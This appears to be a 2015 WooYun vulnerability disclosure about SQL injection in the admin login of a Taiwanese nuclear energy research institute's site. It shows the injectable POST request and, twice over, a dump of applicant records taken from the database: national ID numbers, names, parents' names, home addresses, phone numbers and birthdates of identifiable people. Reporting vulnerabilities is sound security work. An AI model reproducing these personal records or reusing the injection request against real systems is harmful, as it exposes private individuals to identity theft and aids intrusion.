当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0154521

漏洞标题:台湾核能研究所某站sql注入导致敏感信息侧漏(臺灣地區)

相关厂商:核能研究所

漏洞作者: godsec

提交时间:2015-11-20 14:20

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-20: 细节已通知厂商并且等待厂商处理中
2015-11-23: 厂商已经确认,细节仅向厂商公开
2015-12-03: 细节向核心白帽子及相关领域专家公开
2015-12-13: 细节向普通白帽子公开
2015-12-23: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

RT

详细说明:

URL:
http://**.**.**.**/admin/login
Post包如下

POST /admin/login HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: http://**.**.**.**/admin/login
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: **.**.**.**
Content-Length: 62
Pragma: no-cache
Cookie: INERWEBMAILID=16kmebimgura4jvlqtk4j30sd7
username=admin*&password=adasdasd&submit=%E7%99%BB%E5%85%A5&id=


QQ图片20151120123418.jpg


uid	aid	tel	rel	name	notify	email2	email1	reltel	year	relname	othesis	mdmajor	address	license	bdmajor	apstate2	apstate3	apstate1	mdschool	director	birthday	classnum	mdthesis	phdmajor	bdschool	phdthesis	phdschool	specialty	cellphone	apdomain1	apdomain2	apdomain3	attendtime	attachment4	attachment2	attachment3	attachment1
R123498389 1 982805473 父子 楊士德 0 g9761303@**.**.**.** sab7412@**.**.**.** 981563815 2010 楊健三 <blank> 機械所控制組 台中市南區學府路189號5樓之6 <blank> 生物機電學系 1 1 1 國立中興大學 林仕亭 1985/11/22 1 具撓性關節雙機械臂之適應位置與力量控制(\\?e6 <blank> 國立中興大學 <blank> <blank> 控制理論\r\n機械臂力量控制\r\n力學分析 982805473 FS03 FS05 EE02 2009/12/28 16:26 <blank> 0001_楊士德論文摘要.doc <blank> 0001_楊士德成績單.pdf
M122024685 1 04-25682772 母子 簡佑勳 0 m9807412@**.**.**.** ru03vmp@**.**.**.** 04-25682772 2011 楊麗敏 <blank> 電機所 台中縣大雅鄉中清南路37巷2號九樓 <blank> 電機系 2 2 2 台灣科技大學 施慶隆 1986/11/15 1 論文題目:以FPGA整合一SOPC系統-結合人臉辨識\\?e5 <blank> 長庚大學 <blank> <blank> 系統整合,影像處理,FPGA,VERILOG,嵌入式系 0988-637511 FA01 FA02 FS05 2010/12/22 11:23 <blank> 0001_簡佑勳論文摘要、著作、研究計畫.pdf <blank> 0001_簡佑勳成績單.pdf
P123508771 1 0921-527582 母子 曾琝棠 0 theseatouya@**.**.**.** theseatouya@**.**.**.** 0972-377230 2012 高羿榕 2011國立台北大學商管與資訊研討會-System 資訊管理所 嘉義縣民雄鄉三興村富農路25號1樓9 Linux系統管理、網站建置、伺服架設、資訊安 資訊管理系 1 1 2 國立中正大學 古政元 1987/1/17 1 System Design of Active Detection for Alternate Data Streams in the NTFS File <blank> 國立虎尾科技大學 <blank> <blank> 資訊網路與網路安全、資料庫及資訊安全、\\?e8\\?b3 0921-527582 RS01 RS01 FS09 2011/12/26 9:43 <blank> 0001_曾琝棠論文摘要、著作、研究計畫.pdf 0001_曾琝棠技能檢定、證照及經歷文件.pdf 0001_曾琝棠成績單.pdf
L123711560 1 (04)26201145 母子 林明志 0 <blank> onea00440@**.**.**.** (04)26201145 2013 劉素秋 第二十二屆環境工程年會廢水處理研討會(論\\?e6 環境工程研究所 台中市清水區吳厝里東山路新興巷121號 乙級下水道設施操作維護-水質檢驗 環境工程系 1 1 1 國立中山大學 樓基中 1989/6/27 1 以類神經網路模擬淨水系統中微量有機物 <blank> 弘光科技大學 <blank> <blank> 環境工程相關的分析(例如:空氣、水、廢棄\\?e7 0911-442562 EE20 EE26 EE27 2012/12/17 9:47 <blank> 0001_林明志技能檢定、證照、經歷證明.doc 0001_林明志論文摘要、著作、研究計畫.doc 0001_林明志成績單.doc
F127606011 1 02-22642970 父子 曾煜紳 0 <blank> abc12701@**.**.**.** 0927-011-277 2013 曾永程 <blank> 環境工程與管理系 新北市土城區員福里17鄰福祥街42巷1號6樓 操作儀器:氣相層析儀(GC-TCD)、原子吸收光譜 環境工程與管理系 2 1 2 朝陽科技大學 羅煌木 1988/10/20 2 有機廢棄物微生物燃料電池產電與電解電池\\?e7\\?94 <blank> 朝陽科技大學 <blank> <blank> 本研究所學之專長偏向資源與能源化再利用\\?ef\\?bc 0927-987-598 EE203 EE211 EE212 2013/4/29 11:54 <blank> 0001_曾煜紳論文摘要、著作、研究計畫.pdf <blank> 0001_曾煜紳大學、研究所成績單.pdf
H123912010 1 34575216 親子 周和澔 0 <blank> 10172028@**.**.**.** 972208320 2014 葉秋燕 <blank> 機械與機電工程學系 320桃園縣中壢市龍岡路三段37巷92弄2號 <blank> 機械與機電工程學系 2 1 1 國立臺灣海洋大學 閻順昌 1989/11/6 1 以數值模擬分析不同流道對流場之影響 <blank> 國立臺灣海洋大學 <blank> <blank> 熱流數值模擬及分析 910216032 AE17 AE25 AE26 2013/11/18 11:04 <blank> 0001_烘手機空氣流道之研究.pdf <blank> 0001_成績單.pdf
F127247932 1 920533316 父子 鄭柏暐 0 chpoway@**.**.**.** zopm100@**.**.**.** 938312124 2014 鄭希聖 <blank> 生醫與電子資訊研究所 桃園縣桃園市建國路312巷126號 <blank> 電機學系 1 1 1 台灣大學 陳志宏 1989/4/14 2 高溫超導薄膜在7T MRI下的應用 <blank> 中央大學 <blank> <blank> 高溫超導薄膜, 電磁模擬, MRI 920533316 IN08 IN07 IN06 2014/4/7 11:35 <blank> <blank> <blank> <blank>
N125279576 1 04-7775848 父子 尤彥文 0 <blank> lovesky791013@**.**.**.** 0989-775848 2015 尤進發 1.C.-L.Lee,H.-J.Chang,Yan-Wun You,G.-H.Chen,J.-M.Hsu,and 光電工程學系 彰化縣福興鄉福興村福三路四段415號 Matlab、Excel、PowerPoint、Word、中文打字75~100、\\?e8 光電工程學系 0 0 2 國立聯合大學 李澄鈴 1990/10/13 1 高吸濕性高分子微型腔光纖菲佐干涉儀 <blank> 國立聯合大學 <blank> <blank> 微型光纖元件設計與製作(光纖光學相關被動\\?e5 0975-319679 J01 0 0 2014/11/15 14:08 <blank> 0001_尤彥文碩士初稿與發表論文.pdf 0001_尤彥文獎狀及證照.pdf 0003_404.doc


QQ图片20151120123637.png


(已删除)
未深入~

漏洞证明:

URL:
http://**.**.**.**/admin/login
Post包如下

POST /admin/login HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: http://**.**.**.**/admin/login
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: **.**.**.**
Content-Length: 62
Pragma: no-cache
Cookie: INERWEBMAILID=16kmebimgura4jvlqtk4j30sd7
username=admin*&password=adasdasd&submit=%E7%99%BB%E5%85%A5&id=


QQ图片20151120123418.jpg


uid	aid	tel	rel	name	notify	email2	email1	reltel	year	relname	othesis	mdmajor	address	license	bdmajor	apstate2	apstate3	apstate1	mdschool	director	birthday	classnum	mdthesis	phdmajor	bdschool	phdthesis	phdschool	specialty	cellphone	apdomain1	apdomain2	apdomain3	attendtime	attachment4	attachment2	attachment3	attachment1
R123498389 1 982805473 父子 楊士德 0 g9761303@**.**.**.** sab7412@**.**.**.** 981563815 2010 楊健三 <blank> 機械所控制組 台中市南區學府路189號5樓之6 <blank> 生物機電學系 1 1 1 國立中興大學 林仕亭 1985/11/22 1 具撓性關節雙機械臂之適應位置與力量控制(\\?e6 <blank> 國立中興大學 <blank> <blank> 控制理論\r\n機械臂力量控制\r\n力學分析 982805473 FS03 FS05 EE02 2009/12/28 16:26 <blank> 0001_楊士德論文摘要.doc <blank> 0001_楊士德成績單.pdf
M122024685 1 04-25682772 母子 簡佑勳 0 m9807412@**.**.**.** ru03vmp@**.**.**.** 04-25682772 2011 楊麗敏 <blank> 電機所 台中縣大雅鄉中清南路37巷2號九樓 <blank> 電機系 2 2 2 台灣科技大學 施慶隆 1986/11/15 1 論文題目:以FPGA整合一SOPC系統-結合人臉辨識\\?e5 <blank> 長庚大學 <blank> <blank> 系統整合,影像處理,FPGA,VERILOG,嵌入式系 0988-637511 FA01 FA02 FS05 2010/12/22 11:23 <blank> 0001_簡佑勳論文摘要、著作、研究計畫.pdf <blank> 0001_簡佑勳成績單.pdf
P123508771 1 0921-527582 母子 曾琝棠 0 theseatouya@**.**.**.** theseatouya@**.**.**.** 0972-377230 2012 高羿榕 2011國立台北大學商管與資訊研討會-System 資訊管理所 嘉義縣民雄鄉三興村富農路25號1樓9 Linux系統管理、網站建置、伺服架設、資訊安 資訊管理系 1 1 2 國立中正大學 古政元 1987/1/17 1 System Design of Active Detection for Alternate Data Streams in the NTFS File <blank> 國立虎尾科技大學 <blank> <blank> 資訊網路與網路安全、資料庫及資訊安全、\\?e8\\?b3 0921-527582 RS01 RS01 FS09 2011/12/26 9:43 <blank> 0001_曾琝棠論文摘要、著作、研究計畫.pdf 0001_曾琝棠技能檢定、證照及經歷文件.pdf 0001_曾琝棠成績單.pdf
L123711560 1 (04)26201145 母子 林明志 0 <blank> onea00440@**.**.**.** (04)26201145 2013 劉素秋 第二十二屆環境工程年會廢水處理研討會(論\\?e6 環境工程研究所 台中市清水區吳厝里東山路新興巷121號 乙級下水道設施操作維護-水質檢驗 環境工程系 1 1 1 國立中山大學 樓基中 1989/6/27 1 以類神經網路模擬淨水系統中微量有機物 <blank> 弘光科技大學 <blank> <blank> 環境工程相關的分析(例如:空氣、水、廢棄\\?e7 0911-442562 EE20 EE26 EE27 2012/12/17 9:47 <blank> 0001_林明志技能檢定、證照、經歷證明.doc 0001_林明志論文摘要、著作、研究計畫.doc 0001_林明志成績單.doc
F127606011 1 02-22642970 父子 曾煜紳 0 <blank> abc12701@**.**.**.** 0927-011-277 2013 曾永程 <blank> 環境工程與管理系 新北市土城區員福里17鄰福祥街42巷1號6樓 操作儀器:氣相層析儀(GC-TCD)、原子吸收光譜 環境工程與管理系 2 1 2 朝陽科技大學 羅煌木 1988/10/20 2 有機廢棄物微生物燃料電池產電與電解電池\\?e7\\?94 <blank> 朝陽科技大學 <blank> <blank> 本研究所學之專長偏向資源與能源化再利用\\?ef\\?bc 0927-987-598 EE203 EE211 EE212 2013/4/29 11:54 <blank> 0001_曾煜紳論文摘要、著作、研究計畫.pdf <blank> 0001_曾煜紳大學、研究所成績單.pdf
H123912010 1 34575216 親子 周和澔 0 <blank> 10172028@**.**.**.** 972208320 2014 葉秋燕 <blank> 機械與機電工程學系 320桃園縣中壢市龍岡路三段37巷92弄2號 <blank> 機械與機電工程學系 2 1 1 國立臺灣海洋大學 閻順昌 1989/11/6 1 以數值模擬分析不同流道對流場之影響 <blank> 國立臺灣海洋大學 <blank> <blank> 熱流數值模擬及分析 910216032 AE17 AE25 AE26 2013/11/18 11:04 <blank> 0001_烘手機空氣流道之研究.pdf <blank> 0001_成績單.pdf
F127247932 1 920533316 父子 鄭柏暐 0 chpoway@**.**.**.** zopm100@**.**.**.** 938312124 2014 鄭希聖 <blank> 生醫與電子資訊研究所 桃園縣桃園市建國路312巷126號 <blank> 電機學系 1 1 1 台灣大學 陳志宏 1989/4/14 2 高溫超導薄膜在7T MRI下的應用 <blank> 中央大學 <blank> <blank> 高溫超導薄膜, 電磁模擬, MRI 920533316 IN08 IN07 IN06 2014/4/7 11:35 <blank> <blank> <blank> <blank>
N125279576 1 04-7775848 父子 尤彥文 0 <blank> lovesky791013@**.**.**.** 0989-775848 2015 尤進發 1.C.-L.Lee,H.-J.Chang,Yan-Wun You,G.-H.Chen,J.-M.Hsu,and 光電工程學系 彰化縣福興鄉福興村福三路四段415號 Matlab、Excel、PowerPoint、Word、中文打字75~100、\\?e8 光電工程學系 0 0 2 國立聯合大學 李澄鈴 1990/10/13 1 高吸濕性高分子微型腔光纖菲佐干涉儀 <blank> 國立聯合大學 <blank> <blank> 微型光纖元件設計與製作(光纖光學相關被動\\?e5 0975-319679 J01 0 0 2014/11/15 14:08 <blank> 0001_尤彥文碩士初稿與發表論文.pdf 0001_尤彥文獎狀及證照.pdf 0003_404.doc


QQ图片20151120123637.png


(已删除)
未深入~

修复方案:

过滤

版权声明:转载请注明来源 godsec@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2015-11-23 01:29

厂商回复:

感謝通報

最新状态:

暂无


漏洞评价:

评价